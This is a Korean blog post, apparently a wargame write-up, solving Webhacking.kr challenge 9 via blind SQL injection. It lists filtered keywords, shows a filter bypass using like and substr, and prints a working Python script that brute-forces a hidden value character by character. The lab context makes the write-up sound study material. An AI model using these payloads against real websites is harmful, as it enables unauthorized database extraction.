Webhacking.kr 9번 문제풀이

동스토리 ㅣ 2020. 11. 7. 20:20

반응형

안녕하세요

웹 해킹 9번 문제 풀이하겠습니다.

문제를 해결하기 위해서 1, 2, 3을 클릭해보았습니다.

1번 클릭
2번 클릭
3번 클릭

3번을 클릭하게 되면 column에 id, no가 있고 문제를 해결하기 위해서 no 3's id is password은 no=3에 id가 password라는 것을 알 수 있습니다. URI 파라미터 값이 no값이 변하면서 페이지가 변하는 것으로 보아 SQL 인젝션을 통해 문제를 해결할 수 있을 것이라고 생각됩니다.

 

URI 파라미터에 공백 값을 넣고 시도해보면 "Access Denied"가 나오는 것으로 보아 문자열을 필터링한다는 것을 알 수 있습니다.

필터링되는 값: =, %20, or, and

 

필터링되지 않는 값: like, substr

 

id길이를 알아내기 위해 URI 파라미터에 if(length(id)like('길이'),3,0)를 추가하여 문자열의 길이를 알아보겠습니다.

 

길이: 2(거짓)

길이: 11(참)

문자열의 길이가 11인 것을 알았으니 blind sql injection을 통해 각 자리의 문자를 찾아내면 됩니다.

 

문자열의 길이와 각 자리의 문자를 구하는 Python코드는 하기와 같습니다.

import urllib.request
import requests

url = "https://webhacking.kr/challenge/web-09/"
headers ={'Cookie':'PHPSESSID=abh9og7amaid3k2p49r8mtsv4u'}
pw =""

for i in range(0,100):
    query = "?no=if(length(id)like({}),3,0)".format(i)
    r = requests.get(url+query, headers=headers)
    if r.text.find("Secret") != -1:
        pw_length =i
        break
print("pw_length:", pw_length)

for i in range(1,pw_length+1):
    for j in range(97,133):
        k=hex(j).split("0x")[1]
        query = "?no=if(substr(id,{},1)like(0x{}),3,0)".format(i,k)
        r = requests.get(url+query, headers=headers)
        if r.text.find("Secret") != -1:
            pw +=chr(j)
            print (str(i) + ": " +chr(j))
            break
print("password:",pw)

 

결과로 나온 password를 입력하게 되면 문제를 해결할 수 있습니다.

 

 

감사합니다.

 

 

 

반응형

'Hacking > Webhacking.kr' 카테고리의 다른 글

Webhacking.kr 11번 문제풀이  (0) 2020.11.08
Webhacking.kr 10번 문제풀이  (0) 2020.11.08
Webhacking.kr 8번 문제풀이  (0) 2020.11.03
Webhacking.kr 7번 문제풀이  (0) 2020.07.25
Webhacking.kr 6번 문제풀이  (0) 2020.06.13